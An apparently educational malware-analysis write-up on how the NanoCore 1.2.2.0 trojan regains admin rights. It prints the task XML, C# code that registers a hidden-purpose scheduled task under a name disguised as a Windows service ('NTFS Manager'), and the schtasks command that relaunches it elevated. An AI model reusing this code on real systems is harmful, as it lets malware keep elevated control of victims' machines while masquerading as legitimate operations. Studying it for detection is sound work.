NanoCore 1.2.2.0: Privilege Escalation

This is a privilege escalation TTP extracted from NanoCore 1.2.2.0. It uses task scheduler to escalate privileges. Initially the NanoCore client is executed with admin privileges, and it creates a task in scheduler with admin configuration. Once the task has been added, the NanoCore client can easily regain admin privileges even after reboot by simply executing a Run task command.

1. Execute with admin privileges first
2. Can elevate privileges anytime by running the command: schtasks.exe /run /tn “NTFS Manager”
3. “NTFS Manager” is the name of malicious task masquerading legitimate windows operations (in nanocore these names are randomized)
4. “GetUACControlData” returns the task configuration in bytes

Implementation

Setup task settings file

NanoCore 1.2.2.0 privilege escalation TTP function has encoded xml file bytes that sets up everything for the task. The malware decode configuation, replaces path of executable with Identifier: EXECUTABLEPATH and arguments if any in the xml configuration file and use it to register the task.

<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n
<Task version=\"1.2\"
	xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\r\n  
	<RegistrationInfo />\r\n  
	<Triggers />\r\n  
	<Principals>\r\n    
		<Principal id=\"Author\">\r\n      
			<LogonType>InteractiveToken</LogonType>\r\n      
			<RunLevel>HighestAvailable</RunLevel>\r\n    
		</Principal>\r\n  
	</Principals>\r\n  
	<Settings>\r\n    
		<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n    
		<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n    
		<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\r\n    
		<AllowHardTerminate>true</AllowHardTerminate>\r\n    
		<StartWhenAvailable>false</StartWhenAvailable>\r\n    
		<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\r\n    
		<IdleSettings>\r\n      
			<StopOnIdleEnd>false</StopOnIdleEnd>\r\n      
			<RestartOnIdle>false</RestartOnIdle>\r\n    
		</IdleSettings>\r\n    
		<AllowStartOnDemand>true</AllowStartOnDemand>\r\n    
		<Enabled>true</Enabled>\r\n    
		<Hidden>false</Hidden>\r\n    
		<RunOnlyIfIdle>false</RunOnlyIfIdle>\r\n    
		<WakeToRun>false</WakeToRun>\r\n    
		<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n    
		<Priority>4</Priority>\r\n  
	</Settings>\r\n  
	<Actions Context=\"Author\">\r\n    
		<Exec>\r\n      
			<Command>\"#EXECUTABLEPATH\"</Command>\r\n      
			<Arguments>$(Arg0)</Arguments>\r\n    
		</Exec>\r\n  
	</Actions>\r\n
</Task>

According to the task configuration, there are no triggers set to execute task automatically. As mentioned above, NanoCore doesn’t use it for achieveing persistence, rather it uses it to elevate privileges. To do that, only a simple command is needed which is to run the task that was registered.

Register Task

try
{
	//creating a temporary task config xml file
	string tempFileName = Path.GetTempFileName();
	File.WriteAllText(tempFileName, text);

	//scheduling task
	string task_cmd = string.Format("/create /f /tn \"{0}\" /xml \"{1}\"", task, tempFileName);
	ProcessStartInfo startInfo = SetProcessInfo("schtasks.exe", task_cmd);
	Process process = Process.Start(startInfo);

	bool result = false;
	if (process.WaitForExit(duration))
	{
		result = (process.ExitCode == 0);
	}

	File.Delete(tempFileName); //delete temporary task configuration file
	return result;
}
catch (Exception exception_)
{
	Console.WriteLine(exception_ + ":CreateScheduledTask");
}

Elevate

After the task has sucessfully been registered. We can run it like this:

schtasks.exe /run /tn "NTFS Manager" //eg: NTFS Manager is the name of registered task

Find Complete Code Click Here: Shaddy43/MalwareAnalaysisSeries

Disclaimer

Artifacts and code of this repository is intended for Educational purposes only!